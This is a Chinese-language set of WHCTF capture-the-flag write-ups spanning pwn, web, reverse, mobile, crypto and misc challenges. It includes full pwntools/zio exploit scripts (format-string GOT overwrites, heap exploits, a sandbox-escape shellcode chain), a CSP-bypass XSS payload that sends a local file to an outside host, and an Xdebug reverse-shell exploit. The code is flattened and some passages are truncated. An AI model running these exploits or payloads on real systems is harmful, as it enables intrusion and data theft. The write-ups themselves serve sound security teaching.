PwnRC4不好意思题目换了了好几次,这里只说一下题目最初的设计 rc4是提供了rc4加密功能的一个程序,保护是开了PIE和NX 题目设置了三个vuln
思路:
通过部分覆盖当libc_base的低24bit为0xf1e000时,选择 EasyPwn就是一个简单的格式化字符串,有一点点的变形,格式串在缓冲区中,在dst的后面,可以被覆盖掉,于是就按照正常的格式化字符串做即可。110066的exp很简明(代码短,易理解),直接采用了。 简单的格式化字符串漏洞,给新手做的题目,初始看的时候,sprintf()函数里面的格式化串是%s,写好的,没有漏洞,但是格式化串在目的缓冲区的下方,而且输入大量的字符可以溢出修改格式化串,由此导致了格式化字符串漏洞。 漏洞构成就如上,漏洞利用就很简单了,程序可以输入5次,程序开了PIE,NX,Stack Cannary 三个保护措施,所以,先泄露出来程序基址,然后泄露GOT中系统函数地址,最后修改GOT 表劫持到system函数 或者 OneShot 还有说调试难的同学,个人觉得还好,如果的确坑到你了,对不住了,谢谢参与! from pwn import *context.log_level='debug' context.terminal = ['terminator','-x','bash','-c']local = 0if local: cn = process('./pwn1') bin = ELF('./pwn1') libc = ELF('./libc.so')else: cn = remote('118.31.10.225', 20001) bin = ELF('./pwn1') libc = ELF('./libc.so')def z(a=''): gdb.attach(cn,a) raw_input()######################## cn.recvuntil('Code:')cn.sendline('1')cn.recvuntil('WHCTF')pay = 'a'*1000+'bb%397$p'pay = pay.ljust(1024,'\x00')cn.sendline(pay)cn.recvuntil('0x')data = int(cn.recvuntil('\n')[:-1],16)libc_base = data - libc.symbols['__libc_start_main']-240success('libc_base: ' + hex(libc_base))system = libc_base + libc.symbols['system']success('system: ' + hex(system))freehook = libc_base + libc.symbols['__free_hook']success('freehook: ' + hex(freehook))################ for i in range(8): cn.recvuntil('Code:') cn.sendline('1') p_system = p64(system) cn.recvuntil('WHCTF') pay = 'a'*1000 pay += 'BB%'+str(0x100-0xfe+ord(p_system[i]))+'c%133$hhn' pay = pay.ljust(1016,'A') pay += p64(freehook+i) pay = pay.ljust(1024,'a') print len(pay) cn.sendline(pay)cn.sendline('2')cn.sendline('/bin/sh\x00')cn.interactive() Note_sys漏洞原理程序调用多线程时,未对共享资源加锁,导致多线程之间的竞争 source code这里两个线程会出现竞争,在delete线程还在sleep时,如果进行malloc,则会导致malloc后的heap地址写到了note_to_write变量所指向的地址空间,利用这一特征,我们可以将heap地址写到bss段中notes指针表向上的任意地址(只要在sleep时间内创造足够多的delete线程)。因此,我们就可以将got表中的函数地址进行覆盖 void *malloc_func(void *arg) { note_to_write ++; int tmp = count; char *to_copy = (char *)arg; tmp += 1; //usleep(100000); count = tmp; if(count > 34) { printf("too many notes!!\n"); note_to_write --; return 0; } else { printf("logged successfully!\n"); *note_to_write = malloc(256 * sizeof(char)); memset(*note_to_write, 0, 256); memcpy(*note_to_write, to_copy, 250); return 0; } } void *delete_func(void *arg) { char **note_to_delete = note_to_write; note_to_write --; int tmp = count; tmp -= 1; usleep(2000000); if(count > 0) { free(*note_to_delete); count = tmp; printf("delete successfully!\n"); } else { printf("too less notes!!\n"); note_to_write ++; return 0; } return 0; } shellcode注意坏字符 \x90\x00\x0a
expfrom pwn import * context.arch = 'amd64' context.os = 'linux' context.endian = 'little' context.word_size = 64 elf = ELF("./main") pro = process("./main") aim_number = 14 while aim_number > 0: aim_number -= 1 #pro.interactive() print pro.recvuntil('choice:\n') pro.sendline('2') print pro.recvline() print pro.recvuntil('choice:\n') payload = asm(shellcraft.amd64.linux.execve("/bin/sh")) print disasm(payload) pause() print payload.encode('hex') print len(payload) pro.sendline('0') print pro.recvline() pro.sendline(payload) pause() pro.interactive() Stackoverflow
这个题目不难逆向,逻辑很简单,不断的在stackof里面创建堆块,然后读取字符到堆块里面。 漏洞也存在于这个函数里面,在后面有一个libc任意地址写一个null byte的机会。 当我们malloc一定大小的堆块的时候这个堆块会开在binary和libc之间。 这个题目只能在17.04版本的ubuntu下利用, 在这个版本的libc中。stdin 结构体的 io_buf_end的地址末位正 好是一个null byte,这样的话,如果我们能够修改io_buf_base指向io_buf_end的话,通过与io相关的函数就 能够读写io_buf_end之后的内容,包括main_arena。 这里的利用方法是通过改写main_arena的unsorted bin的地址到我们伪造的的堆块上面,在malloc的时候能够形成unsorted bin attack,在17.04里面通过修改 所以这样我们就能够得到执行一次gadget的机会了。但是这里要怎么控制rip跳转到我们的rop上面呢? 通过 之后通过setcontext函数就能够跳到设置好的rop上面了。 from pwn import *context.log_level = 'debug'#io = process('./stackoverflow') io = remote('172.17.0.2', 4869)pause()io.recvuntil(':')io.send('a' * 56)io.recvuntil('a' * 56)libc_addr = u64(io.recvn(6).ljust(8, '\x00')) + 3442360log.info('libc_addr :' + hex(libc_addr))libc_main = libc_addr - 0x7ffff7dd2641 + 0x00007ffff7a10000io.recvuntil(':')io.sendline(str(0x6c28c0+0x30-8))io.recvuntil(':')io.sendline(str(0x300000))io.recvuntil(':')io.send('lowkey')io.send("\xf0\x1d")# handcraft the _IO_2_1_stdin_ payload = ""payload += p64(libc_addr-2385) # current io buf end payload += p64(0x00)*6payload += p64(0xffffffffffffffff)payload += p64(0x000000000a000000)payload += p64(libc_addr+4399)payload += p64(0xffffffffffffffff)payload += p64(0x00)payload += p64(libc_addr-3233)payload += p64(0x00)*3payload += p64(0x00000000ffffffff)payload += p64(0x00)*2payload += p64(libc_addr-16961)# fake unsorted bins payload += p64(0)payload += p64(0x110)payload += p64(libc_addr + 15519 - 0x10) #fd _dl_open_hook - 0x10 payload += p64(libc_addr + 15519 - 0x10) #bk _dl_open_hook - 0x10 payload += '\x00' * 0xf0payload += p64(0) * 8payload += p64(0)*2 # controlling RIP: malloc_hook # main_arena! payload += p64(0x0000000100000000)payload += p64(0x00)*10payload += p64(libc_main + 0x6ebbb) # main_arena + 88 payload += p64(0) # main_arena + 96 payload += p64(libc_addr - 3233) # unsorted bin [1] payload += p64(libc_addr - 3233) # unsorted bin [1] 2 payload += p64(libc_main + 0x48010 + 51) # <setcontext+51> payload += p64(0) * 3payload += p64(0xdeadbeef) * 12 # where ROP lies in payload += p64(libc_main + 0x3c1b00 + 128 + 24) # rsp payload += p64(libc_main + 0x937) # rdi + 0xd8, the first gadget, i set it to 'ret' print "ok, corrupted the main arena."io.recvuntil(':')io.sendline('123')io.recvuntil(':')io.sendline('123')io.recvuntil(':')pause()io.sendline(payload)io.interactive() Sandbox
用ptrace实现的一个sandbox,不能执行 这里过滤系统调用是通过系统调用号来进行过滤的,而32位和64位linux的系统调用号不同,可以在32位进程中执行64位的系统调用号绕过sandbox。首先需要通过retf切换到64位模式,详细见exp import osfrom threading import Thread# from uploadflag import * from zio import *target = ('119.254.101.197', 10000)target = './sandbox ./vuln'#target = './vuln' def interact(io): def run_recv(): while True: try: output = io.read_until_timeout(timeout=1) # print output except: return t1 = Thread(target=run_recv) t1.start() while True: d = raw_input() if d != '': io.writeline(d)def exp(target): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \ print_write=COLORED(RAW, 'green')) io.gdb_hint() payload = '1'*0x30 + l8(0x48) main = 0x0804865B puts_plt = 0x08048470 puts_got = 0x0804A018 payload += l32(puts_plt) + l32(main) + l32(puts_got) io.writeline(payload) io.read_until('1'*0x30) io.readline() puts_addr = l32(io.read(4)) print hex(puts_addr) base = puts_addr - 0x0005FB80 print hex(base) mprotect = base + 0x000E2E60 payload = '1'*0x30 + l8(0x48) pop3_ret = 0x08048729 payload += l32(mprotect) + l32(pop3_ret) + l32(0x0804a000) + l32(0x1000)+l32(7) shellcode_addr = 0x0804ab00 read_plt = 0x08048440 payload += l32(read_plt) + l32(shellcode_addr) + l32(0) + l32(shellcode_addr) + l32(0x200) io.writeline(payload) #shellcode_32 = '\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80' #io.writeline(shellcode_32) shellcode32 =''' BITS 32 org 0x804ab00 push 0x33 call next next: add dword [esp], 5 retf ''' f = open('shell32.asm', 'wb') f.write(shellcode32.strip()) f.close() os.popen('nasm -f bin -o shell32 shell32.asm') shellcode64 = ''' BITS 64 org 0x0804ab20 jmp final prev: pop rdi xor rsi, rsi mov rax, 2 syscall mov rdi, rax mov rax, 0 mov rsi, 0x0804a900 mov rdx, 0x100 syscall mov rdx, rax mov rdi, 1 mov rsi, 0x0804a900 mov rax, 1 syscall mov rdi, 0 mov rax, 60 syscall final: call prev db './flag', 0 ''' f = open('shell64.asm', 'wb') f.write(shellcode64.strip()) f.close() os.popen('nasm -f bin -o shell64 shell64.asm') f = open('./shell32', 'rb') d1 = f.read() f.close() f = open('./shell64', 'rb') d2 = f.read() f.close() shellcode = d1.ljust(0x20, '\x90') + d2 io.read_until('1'*0x30) io.writeline(shellcode) f = open('shell.bin', 'wb') f.write(shellcode) f.close() interact(io)exp(target) calc
exploit如下: from threading import Thread# from uploadflag import * from zio import *target = ('119.254.101.197', 10000)target = './calc'def interact(io): def run_recv(): while True: try: output = io.read_until_timeout(timeout=1) # print output except: return t1 = Thread(target=run_recv) t1.start() while True: d = raw_input() if d != '': io.writeline(d)def enter(io, name, len, value): io.read_until('>>') io.writeline('1') io.read_until(':') io.writeline(name) io.read_until(':') io.writeline(str(len)) io.read_until(':') io.writeline(value)def enter2(io, name): io.read_until('>>') io.writeline('1') io.read_until(':') io.writeline(name) io.read_until(':') io.writeline(str(0x3009))def calc(io, expression): io.read_until('>>') io.writeline('2') io.read_until(':') io.writeline(expression)def show(io, name): io.read_until('>>') io.writeline('3') io.read_until(':') io.writeline(name)def delete(io, name): io.read_until('>>') io.writeline('4') io.read_until(':') io.writeline(name)def edit(io, name, value): io.read_until('>>') io.writeline('5') io.read_until(':') io.writeline(name) io.read_until(':') io.writeline(value)def exp(target): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), \ print_write=COLORED(RAW, 'green')) io.gdb_hint() enter(io, 'a', 0x98, 'F'*0x98*2) # 0x603010 enter(io, 'b', 0x40, '1'*0x40*2) # 0x603150 enter(io, 'c', 0x98, '3'*0x98*2) # 0x603290 enter(io, 'd', 0x98, '5'*0x98*2) # 0x6033d0 enter(io, 'f', 0x98, '6873') # 0x6033d0 delete(io, 'b') calc(io, 'a=a+d') enter2(io, 'e') io.gdb_hint() show(io, 'e') io.read_until('number is:\n') d = io.readline()[:-1] print d print len(d) system = 0 base = int(d[len(d)-3*16:len(d)-2*16], 16) - 0x3be7b8 system = base + 0x46640 distance = (0x3C0A10 - 0x3be7b8)*2 print hex(base) print hex(base + 0x3C0A10) io.gdb_hint() d2 = hex(system)[2:].rjust(16, '0').upper() enter(io, 'h', (distance/2)+0x10, d2 + '0'*distance) calc(io, 'e=e+h') #edit(io, 'e', d) delete(io, 'f') interact(io)exp(target) WebScanner
这道题主要是模拟一个较大的网站,然后来用自己的扫描器扫描出漏洞 因为一般的题目都是给的网站比较小,可能漏洞点就那么几个,试试也都出来了,但和现实环境完全不一样 现实中的漏洞往往比较简单,但因为网站太大,加上禁用扫描器什么的,导致大家找不到某洞 这道题就是模拟这样一种情况 大概设计是在http://127.0.0.1/g/github.com/trending.php 这里是github的项目,里面有两个项目有图片 大概是http://127.0.0.1/g/github.com/engineerapart/TheRemoteFreelancer.php 以及http://127.0.0.1/g/github.com/yarnpkg/yarn.php 这里设计点击图片以后,会调用js发送另一个请求,然后图片会放大 但是url是稍微混淆了一下这样普通的扫描器就没办法扫出来 然后理论是个ssrf,但是硬编码了一下如果是 然后有个flag用户,然后直接看就可以了 Not_only_XSS首页是一个普通的留言板页面, 其中csp策略如下: default-src 'self'; -src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *; 通过下述payload绕过: <link rel="prefetch" href="http://xss_platform"> 然后成功接收到请求,发现其中的 访问 <>function reqListener () { var encoded = encodeURI(this.responseText); location.href="http://xss_platform?data="+encoded;}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///var/www/html/flag.php");oReq.send();</> 从而获取到flag。 Router借用两个战队的wp Nu1L的wp:
AAA的wp:
Cat
Fuzz URL,得到如下结果:
需要选手通过第三种情况,判断出后端架构,猜测 PHP 层的处理逻辑。 当 通过 Django 报错调用栈中的信息,请求 $ curl 'ricterz.me:8899/?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF 00015c90: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x0 00015ca0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x0 00015cb0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x0 00015cc0: 305c 7830 305c 7830 305c 7830 305c 7830 0\x00\x00\x00\x0 00015cd0: 305c 7830 305c 7830 305c 7830 305c 7831 0\x00\x00\x00\x1 00015ce0: 635c 7830 315c 7830 3241 5748 4354 467b c\x01\x02AWHCTF{ 00015cf0: 796f 6f6f 6f5f 5375 6368 5f41 5f47 3030 yoooo_Such_A_G00 00015d00: 445f 407d 2661 6d70 3b23 3339 3b26 6c74 D_@}'< 00015d10: 3b2f 7072 6526 6774 3b26 6c74 3b2f 7464 ;/pre></td 00015d20: 2667 743b 0a20 2020 2020 2020 2020 2026 >. & 00015d30: 6c74 3b2f 7472 2667 743b 0a20 2020 2020 lt;/tr>. Emmm
通过 PHPINFO 查看到,Xdebug 开启了如下模式: xdebug.remote_enable = On xdebug.remote_connect_back = On 那么,通过 Xdebug 执行命令即可,Exp 如下: #!/usr/bin/python2 import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64')) 在存在外网的服务器运行 exp,接着运行命令:
收到反弹回来的 Xdebug shell: ricter@baka:/tmp$ python xdebug_exp.py 495<?xml version="1.0" encoding="iso-8859-1"?> <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http:///dbgp/xdebug" fileuri="file:///app/phpinfo.php" language="PHP" xdebug:language_version="7.0.22-0ubuntu0.16.04.1" protocol_version="1.0" appid="11" idekey="233"><engine version="2.6.0-dev"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init> >> system("cat /flag.txt"); 288<?xml version="1.0" encoding="iso-8859-1"?> <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http:///dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="25" encoding="base64"><![CDATA[V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ==]]></property></response> >> Traceback (most recent call last): File "xdebug_exp.py", line 14, in <module> data = raw_input('>> ') EOFError ricter@baka:/tmp$ echo V0hDVEZ7WGQzYnVnXzFzX2F3M3NvbUUhfQ== | base64 -d WHCTF{Xd3bug_1s_aw3somE!} REFormat用printf实现的一个brainfuck解释器(https://github.com/HexHive/printbf),通过逆向程序提取出里面的brainfuck程序,然后对brainfuck程序进行分析,得到满足条件的password为 连接题目提供的ip和port,得到flag. echo 'Pr1nBf_f4cK!' > password cat password - | nc ip port Wbaes正如题目所言,本题设置的是一道白盒密码的逆向题目, 白盒密码的思想就是把加密的key混合到加密运算的table里,并对程序加以混淆,反调试等,让你不那么容易就找到key.所以思路就是要找到本题aes加密使用的key. 针对白盒密码的攻击在学术和工业届都有很成熟的研究成果了,这里推荐一个攻击套件SideChannelMarvels, 里面有一整套Differential Computation Analysis和Differential Fault Analysis的工具 还有人问程序是用什么混淆的, movfuscator.只要理解了上述攻击的原理,就不用对程序做太多的逆向分析工作了 MIMI这个题目使用了 附Redbud的exp # flag{mips_with_static_is_cr4zy!} import subprocess import hashlib import json import itertools import stringdef md5(s): m2 = hashlib.md5() m2.update(s) return m2.hexdigest()with open('dict') as f: d = json.load(f)with open('out') as f: out = f.read().strip() rst = ''i = 0 while i < 512: try: s = out[i:i+32] rst += d[s][-3:-1] except KeyError: print 'not found' rst += '**' i += 32 print rstprint 'done' CrackMe直接盗用AAA的wp 一道静态分析题,注意到判断逻辑在0x401669处,在0x4015F7有个对字符串长度的判定,直接在od里下断点,一个一个提出来就好了。最终提取出的字符串为 BabyREida打开发现函数指针指向.data段上的judge数组,开gdb在0000000000400686位置call rdx下断点跟进去,得到汇编码: 0x600b04 <judge+4>: mov [rbp-0x28], rdi 0x600b08 <judge+8>: mov BYTE PTR [rbp-0x20],0x66 0x600b0c <judge+12>: mov BYTE PTR [rbp-0x1f],0x6d 0x600b10 <judge+16>: mov BYTE PTR [rbp-0x1e],0x63 0x600b14 <judge+20>: mov BYTE PTR [rbp-0x1d],0x64 0x600b18 <judge+24>: mov BYTE PTR [rbp-0x1c],0x7f 0x600b1c <judge+28>: mov BYTE PTR [rbp-0x1b],0x6b 0x600b20 <judge+32>: mov BYTE PTR [rbp-0x1a],0x37 0x600b24 <judge+36>: mov BYTE PTR [rbp-0x19],0x64 0x600b28 <judge+40>: mov BYTE PTR [rbp-0x18],0x3b 0x600b2c <judge+44>: mov BYTE PTR [rbp-0x17],0x56 0x600b30 <judge+48>: mov BYTE PTR [rbp-0x16],0x60 0x600b34 <judge+52>: mov BYTE PTR [rbp-0x15],0x3b 0x600b38 <judge+56>: mov BYTE PTR [rbp-0x14],0x6e 0x600b3c <judge+60>: mov BYTE PTR [rbp-0x13],0x70 0x600b40 <judge+64>: mov DWORD PTR [rbp-0x4],0x0 0x600b47 <judge+71>: jmp 0x600b71 <judge+113> 0x600b49 <judge+73>: mov eax,DWORD PTR [rbp-0x4] 0x600b4c <judge+76>: movsxd rdx,eax 0x600b4f <judge+79>: mov rax,QWORD PTR [rbp-0x28] // 输入的字符串 0x600b53 <judge+83>: add rax,rdx 0x600b56 <judge+86>: mov edx,DWORD PTR [rbp-0x4] 0x600b59 <judge+89>: movsxd rcx,edx 0x600b5c <judge+92>: mov rdx,QWORD PTR [rbp-0x28] 0x600b60 <judge+96>: add rdx,rcx 0x600b63 <judge+99>: movzx edx,BYTE PTR [rdx] 0x600b66 <judge+102>: mov ecx,DWORD PTR [rbp-0x4] 0x600b69 <judge+105>: xor edx,ecx 0x600b6b <judge+107>: mov BYTE PTR [rax],dl 0x600b6d <judge+109>: add DWORD PTR [rbp-0x4],0x1 0x600b71 <judge+113>: cmp DWORD PTR [rbp-0x4],0xd 0x600b75 <judge+117>: jle 0x600b49 <judge+73> 0x600b77 <judge+119>: mov DWORD PTR [rbp-0x4],0x0 0x600b7e <judge+126>: jmp 0x600ba9 <judge+169> 0x600b80 <judge+128>: mov eax,DWORD PTR [rbp-0x4] 0x600b83 <judge+131>: movsxd rdx,eax 0x600b86 <judge+134>: mov rax,QWORD PTR [rbp-0x28] 0x600b8a <judge+138>: add rax,rdx 0x600b8d <judge+141>: movzx edx,BYTE PTR [rax] 0x600b90 <judge+144>: mov eax,DWORD PTR [rbp-0x4] 0x600b93 <judge+147>: cdqe 0x600b95 <judge+149>: movzx eax,BYTE PTR [rbp+rax*1-0x20] 0x600b9a <judge+154>: cmp dl,al 0x600b9c <judge+156>: je 0x600ba5 <judge+165> 0x600b9e <judge+158>: mov eax,0x0 0x600ba3 <judge+163>: jmp 0x600bb4 <judge+180> 0x600ba5 <judge+165>: add DWORD PTR [rbp-0x4],0x1 0x600ba9 <judge+169>: cmp DWORD PTR [rbp-0x4],0xd 0x600bad <judge+173>: jle 0x600b80 <judge+128> 0x600baf <judge+175>: mov eax,0x1 0x600bb4 <judge+180>: pop rbp 0x600bb5 <judge+181>: ret 对输入的字符串依次xor位数,与原有字符串比较,xor逆推回去即可得到flag: EasyHook程序hook了WriteFile。其他没有特别之处。hook后的代码在sub_401000,里面即是加密算法,比较简单逆回去即可,脚本如下: buf = [ord(i) for i in '616A79676B466D2E7F5F7E2D53567B386D4C6E00'.decode('hex')]buf[18] ^= 0x13for i in range(17, -1, -1): v3 = i ^ buf[i] if i % 2: buf[i] = v3 + i else: buf[i+2] = v3print ''.join(chr(i) for i in buf)#flag{Ho0k_w1th_Fun} MobileLoopCryptoflag: " 本题出题的主要出发点是深刻考察做题人员的以及ARM逆向功底,因此本题目设计本着不偏、不坑的原则,做到一环套一环、解决一个问题后再解决下一个问题的设计思路,令做题者不会因为没有思路而放弃分析(手动滑稽~)。 本题层中所有关键部分的字符串都有加密保护,解密函数位于Decode类,Decode类提供一个为比较复杂的三重循环异或解密。解密函数主要用于对层的字符串解密,在开发的过程中对于解密函数的密钥选择是随机的 Native层中的程序在运行过程中会回调层中的解密函数进行字符串解密。鉴于不能修改代码重打包,做题者可以选择使用hook方式打出解密后的结果,也可以选择看懂代码写出解密函数。 接下来是Native层,在弹出验证flag窗口后,做题者将flag输入,按下按钮后,程序会计算apk签名的MD5,并将输入内容和md5值一并传入Native层的验证函数。 Native层的so在init_array段有一个简单的ptrace反调试,子进程会不断检查父进程的status文件中调试进程是否为0,如果被调试则将主进程杀死。这里不能采用hook掉fork()函数的方式绕过反调试,因为fork()函数在后期还会用到。 Native层的验证flag的思路是再使用fork()创建一个子进程,将flag传入子进程,父子进程之间使用pipe进行通讯(因此hook了fork()函数是不行的),子进程将验证结果使用pipe传输回来,父进程接受子进程传过来的字符串并将它返回给上层程序,最终使用toast显示出来。 为了增加难度,验证flag的子进程的代码写成了shellocde,这个shellcode使用使用编译的zlib压缩算法,并且去掉了zlib头尾,再使用apk签名的MD5进行循环异或加密(因此签名不能变),最终存储在so的全局变量区。调用该shellcode的时候,先使用apk签名的MD5进行解密,再使用zlib解压缩,解压缩完成后,跳转到该shellcode执行,shellcode接受传入的flag以及通讯用的pipe变量,内部使用tea算法对flag进行加密,与shellcode中预存的加密结果进行比较,最终使用pipe传输验证结果。 为了再次增加难度,验证flag的子进程使用ptrace反调试,防止直接dump出解密后的shellcode文件。 上述就是本题的总体出题思路。 现提供一个一般的解题方法:首先解压出lib文件,分析清楚其流程,找到内部存储的加密后的shellcode内容,将该内容使用apk签名的MD5进行循环异或解密,再对其使用zlib解压,得到一个完整的shellcode文件。IDA打开此shellcode文件,分析清楚其使用的tea算法及密钥,对加密后的结果进行解密,即可得到flag。 FindMyMorse本题flag:" 本题使用安卓的Native Activity框架编写了一个莫尔斯码模拟器,因此该apk本质上是一个纯c写成的APK。 该APK运行时会监控点击屏幕的时间长度,当点击屏幕时间短于200毫秒时,记为输入了0,长于200毫秒时记为输入了1。 程序内部预置了一个比特序列,当点击屏幕时输入的bit与该序列相同时,屏幕为绿色且没有任何输出,当不同时屏幕会为红色且输出提示错误。 为了防止一下子看出比特序列,做了一些防护措施,首先将一整个比特序列拆分为四组,从原序列中依次取四个bit放入到新的组里,随后将四组比特序列逆序,然后依次按8比特组成一个字节拼合,最后将字节再逆序存储为最终的比特序列。 比特序列的总长度为224,很明显可以算出224等于4*8*7,根据可见字符的ascii码特征,不难猜测出这是32个可见字符取了低7位。将这224个比特数据每7比特拼接成一个字节,即可得到明文的flag。 本题c层没有加任何的混淆。 期望的解法:看懂程序读取01的原理,研究清楚比特序列的存储方法,还原比特序列,拼接成最终的字符串。 暴力的解法:依次爆破每个比特,只需进行224次尝试即可爆破出比特流。 CryptoBornpig本题目是考察快速相关攻击的题目,请阅读相关论文。首先三个lfsr的初态分别为17bit,19bit和21bit,其中17bit和21bit的LFSR的输出在使用GEFFE之后有3/4的概率等于密钥流,那么通过最小生成式可以在5次之后以99.999...%以上的概率得到每个lfsr的原始输出,然后使用BM算法可以得到初态,至于19bit的LFSR可以通过爆破的方式获得。初态hex之后就是flag Untitled这个题目出题失误,第一步很多队伍都是直接输入的空的x,其实目的是为了构造模n相同的字符串。 这个题目两个考点,一个是考察审计py后构造在模n条件下与"flag"相同的字符串,获得p的部分bit。然后用格基规约去解已知部分高bitp的情况下的全部p。但是这里我少给了8个bit的信息,所以需要通过编写合适的程序进行爆破。 from zio import *import hashlibtarget=("127.0.0.1",20000)def solve_proof(io): salt = io.read_until("\n").decode("base64") io.read_until("work: ") for i1 in range(0xff): for i2 in range(0xff): for i3 in range(0xff): for i4 in range(0xff): if hashlib.md5(salt+chr(i1)+chr(i2)+chr(i3)+chr(i4)).hexdigest().startswith("0000"): io.write((chr(i1)+chr(i2)+chr(i3)+chr(i4)).encode("base64")) returndef exp(target): io=zio(target) solve_proof(io) io.read_until("n: 0x") n=int(io.readline().replace("L","").strip(),16) io.readline() io.read_until("c: 0x") c=int(io.readline().replace("L", "").strip(), 16) io.read_until("u: 0x") u = int(io.readline().replace("L", "").strip(), 16) tmp=int("flag".encode("hex")+"ff", 16)<<2048 tmp=tmp-(tmp%n)+int("flag".encode("hex"), 16) io.read_until("x: ") io.writeline(hex(tmp)[2:][8:].strip("L")) io.read_until("y: ") io.writeline(hex(u).strip("0x").strip("L")) io.interact()exp(target) 后面就是泄露高bit p的factor n了。不过少泄露了一些bit,通过爆破即可。 OldDriverRedbud的wp RSA 的广播攻击,代码如下: from functools import reduce import gmpy import json, binasciidef modinv(a, m): return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m)))def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a * b, n) for n_i, a_i in zip(n, a): p = prod // n_i sum += a_i * modinv(p, n_i) * p return int(sum % prod)nset = [] cset = []with open("data.txt") as f: now = f.read().strip('\n') now = eval(now) print now for item in now: nset.append(item['n']) cset.append(item['c'])m = chinese_remainder(nset, cset)m = int(gmpy.mpz(m).root(10)[0])print binascii.unhexlify(hex(m)[2:-1]) Misc3RD_LSB用工具LSBHIDE解出hint
利用key_b(rand_list_pixel_b)、key_g(rand_list_pixel_g)和key_r(rand_list_pixel_r)三张表,将基本结构体内部bit顺序进行顺序打乱 i. 二维加密 利用key_x(rand_list_pixel_XX)和key_x(rand_list_pixel_YY)两张表将基本结构体进行顺序打乱(X和Y两个坐标) 直接用key_b、key_g、key_r解出如下图样,具体无法辨别 对两个10位的变换序列进行爆破,爆破的依据应该是几个4*4(上一步后的像素)块的连接处的像素之差绝对值的累计较低(用以减少人工判断的复杂度,阈值自定),可选取部分有字的区域(例如WHC)。 4 * 4 4 * 4 4 * 44 * 4 4 * 4 4 * 44 * 4 4 * 4 4 * 4 得到贴近的key_x,key_y 从而解出flag Decode0.py import cv2import randomimport numpy as nprand_list_pixel_b = (6, 4, 5, 3, 2, 1, 0, 7)rand_list_pixel_g = (5, 3, 7, 6, 2, 0, 4, 1)rand_list_pixel_r = (7, 5, 3, 0, 4, 6, 2, 1)def FLAG_DCD(): canvas = np.zeros((300, 480, 3),dtype="uint8") image = cv2.imread(r"question.bmp") for XX in range(0,300): for YY in range(0,480): rand_b = image[3 * XX + 1, 3 * YY + 1, 0] & 0b1 rand_g = image[3 * XX + 1, 3 * YY + 1, 1] & 0b1 rand_r = image[3 * XX + 1, 3 * YY + 1, 2] & 0b1 idx = 0 #print "" for x in range(0,3): for y in range(0,3): if x==1 and y==1: continue #print image[3 * XX + x, 3 * YY + y, 0] & 0b1 ^ rand_b, #print canvas[XX, YY, 0], canvas[XX, YY, 0] += (((image[3 * XX + x, 3 * YY + y, 0] & 0b1) ^ rand_b) << ((rand_list_pixel_b[idx]))) canvas[XX, YY, 1] += (((image[3 * XX + x, 3 * YY + y, 1] & 0b1) ^ rand_g) << ((rand_list_pixel_g[idx]))) canvas[XX, YY, 2] += (((image[3 * XX + x, 3 * YY + y, 2] & 0b1) ^ rand_r) << ((rand_list_pixel_r[idx]))) #print bin(canvas[XX, YY, 0]), #print canvas[XX, YY, 0], idx += 1 #print image[XX + x, YY + y],XX + x, YY + y cv2.imwrite("flag_dcd_step0.bmp", canvas, params=None)FLAG_DCD() Decode1.py import cv2from itertools import permutationsimport randomimport numpy as npimage = cv2.imread(r"flag_dcd_step0.bmp")from itertools import permutationsdef count_chaos(img): chaos = 0L for xx in range(0,300): for yy in range(0, 480): try: chaos += abs(long(img[xx,yy,0]) - long(img[xx+1,yy,0])) except: pass try: chaos += abs(long(img[xx,yy,0]) - long(img[xx-1,yy,0])) except: pass try: chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy+1,0])) except: pass try: chaos += abs(long(img[xx,yy,0]) - long(img[xx,yy-1,0])) except: pass return chaosdic = (permutations((0,1,2,3)))dic2 = (permutations((0,1,2,3)))dic = list(dic)dic2 = list(dic2)random.shuffle(dic)random.shuffle(dic2)dicc = []for rand_list_pixel_XX in dic: for rand_list_pixel_YY in dic2: dicc.append((rand_list_pixel_XX,rand_list_pixel_YY))random.shuffle(dicc)#print dic #''' for tmp in dicc: rand_list_pixel_XX = tmp[0] rand_list_pixel_YY = tmp[1] canvas = np.zeros((300, 480, 3), dtype="uint8") print rand_list_pixel_XX, rand_list_pixel_YY, for XX in range(140, 160): for YY in range(20, 60): idx = 0 # print "" canvas[XX, YY] = image[XX / 4 * 4 + rand_list_pixel_XX[XX % 4], YY / 4 * 4 + rand_list_pixel_YY[YY % 4]] chaos = count_chaos(canvas) print chaos if chaos < 150000: cv2.imshow('image',canvas) cv2.waitKey(0)#''' canvas = np.zeros((300, 480, 3), dtype="uint8")rand_list_pixel_XX = (2, 0, 1, 3)rand_list_pixel_YY = (3, 0, 1, 2)for XX in range(0, 300): for YY in range(0, 480): idx = 0 # print "" canvas[XX, YY] = image[XX/4*4 + rand_list_pixel_XX[XX%4], YY/4*4 + rand_list_pixel_YY[YY%4]]cv2.imshow('image',canvas)cv2.waitKey(0) Py-Py-Pypyc是个假象 估计一开始选手拿到题目会尝试反编译pyc 会发现 一个Hint 告诉选手这是一个误区~ 这是一个python的隐写题目 用于在Python字节码中嵌入Payload的隐写方法 python36 stegosaurus.py 